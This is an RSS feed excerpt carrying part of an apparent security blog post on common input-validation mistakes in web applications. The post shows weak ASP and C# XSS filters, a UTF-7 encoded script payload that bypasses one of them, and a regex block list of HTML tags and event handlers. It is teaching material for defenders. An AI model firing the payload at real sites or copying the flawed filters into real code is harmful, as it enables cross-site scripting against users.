&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Regards &amp;amp; Keep it Secure !!&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Anmol Malhotra &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=7011025" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx">Input Validation</category></item><item><title>First Line of Defense for Web Applications – Part 4</title><link>http://blogs.msdn.com/hackers/archive/2007/11/12/first-line-of-defense-for-web-applications-part-4.aspx</link><pubDate>Mon, 12 Nov 2007 18:53:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:6142626</guid><dc:creator>techjunkie</dc:creator><slash:comments>8</slash:comments><comments>http://blogs.msdn.com/hackers/comments/6142626.aspx</comments><wfw:commentRss>http://blogs.msdn.com/hackers/commentrss.aspx?PostID=6142626</wfw:commentRss><description>&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;I am on a red eye flight back to Seattle from Dulles, VA where I just finished delivering some security training. Traveling back in time, jet lagged, not able to sleep so I thought of finishing my blog post for this week to kill some time. :) &lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Ok, so now that we have discussed the basics of input validation, let’s move on to some more interesting part of this series – The top most common mistakes developers make today when they implement input validation routines for web application attacks. This is not a comprehensive list of course but I am sure there are so many other worse validation routines floating out there which I still have to witness. :) . If you are in the same business of security, you know what I am talking about.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H3 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485134&gt;&lt;/A&gt;&lt;FONT size=3&gt;&lt;SPAN style="COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;Top Validation Bloopers&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 13.5pt; COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/H3&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Understanding the need for input validation is a good start, but developers also need to implement strong controls.&amp;nbsp; This is harder than it sounds.&amp;nbsp; This section illustrates some of the top validation bloopers developers make when writing validation routines for Cross site scripting attacks, SQL injection attacks, and poorly coded file upload functionality. It includes example payloads that can bypass the validation schemes and recommendation how to validate securely.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H4 style="MARGIN: 10pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485135&gt;&lt;/A&gt;&lt;EM&gt;&lt;SPAN style="COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;# 1&amp;nbsp;&amp;nbsp; - Cross Site Scripting&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 12pt; COLOR: windowtext; FONT-FAMILY: 'Arial','sans-serif'"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/EM&gt;&lt;/H4&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Weak Validation Examples&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 12.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&lt;FONT size=2&gt;-&lt;/FONT&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;LetsStopCrossSiteScripting&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;meta charset=utf-7&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/head&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;form id=foo1 method=get&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/form&amp;gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;%&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;fooString= Request.querystring("foo")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;//&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;LetsStopCrossSiteScripting&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, "&amp;lt;", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, "&amp;gt;", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, "%", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, ",", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Response.Write fooString &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;%&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Exploit Technique to bypass this validation&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Attacker can use alternate representations for characters, in this case using encoding for the payload &amp;lt;script&amp;gt;alert(‘Foo is vulnerable to XSS’)&amp;lt;/script&amp;gt; can successfully bypass this validation and attack the application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Attack Payload : &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;?foo=%2bADw-script%2bAD4-alert('got%20cha')%2bADw-/script%2bAD4-&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Some more examples of weak XSS validations&amp;nbsp;&lt;/SPAN&gt;&lt;/B&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;a)&lt;SPAN style="mso-tab-count: 1"&gt; &lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;SanitizeInput&lt;/B&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;private string SanitizeInput(string input)&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-tab-count: 4"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;Regex badCharReplace = new Regex(@""([&amp;lt;&amp;gt;""""'%;()&amp;amp;])"");"&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;b)&lt;SPAN style="mso-tab-count: 1"&gt; &lt;/SPAN&gt;Security Configuration file :&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;stopXSS.xml&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;stopXSS&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;(&amp;amp;lt;\s*(object|img|applet|embed|form|\/object|\/applet|\/embed|\/form))|oncontrolselect|oncopy&lt;BR&gt;|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|&lt;BR&gt;ondblclick|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|&lt;BR&gt;onerror|onerrorupdate|onfilterchange|onfinish|onfocus|onfocusenter|onfocusleave|onhelp|&lt;BR&gt;|onabort|onafterprint|onafterupdate|onbeforecopy|onbeforecut|onbeforeeditfocus|&lt;BR&gt;onbeforefocusenter|onbeforefocusleave|onbeforepaste|onbeforeprint|onbeforeunload|&lt;BR&gt;onbeforeupdate|onblur|onbounce|oncellchange|onchange|onclick|oncontextmenu|&lt;BR&gt;onkeydown|onkeypress|onkeyup|onlayoutcomplete|onload|onlosecapture|onmousedown&lt;BR&gt;|onmouseenter|onmouseleave|onmousemove|onmouseout|onmouseover|onmouseup|&lt;BR&gt;onpaste|onpropertychange|onreadystatechange|onreset|onresize|onresizeend|onresizestart|&lt;BR&gt;onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onselect|onselectiontypechange|&lt;BR&gt;onselectstart|onstart|onstop|onsubmit|onunload|(&amp;amp;lt;.*&amp;amp;gt;)|eval\s*\(|(event\s*=)|\&amp;amp;lt;\%&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/stopXSS&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;BR&gt;c)&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;Replacing char(34)&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;%&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if request("name") &amp;lt;&amp;gt; "" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; str = replace(request("name"),chr(34),"&amp;amp;quot;") &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end if &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;%&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
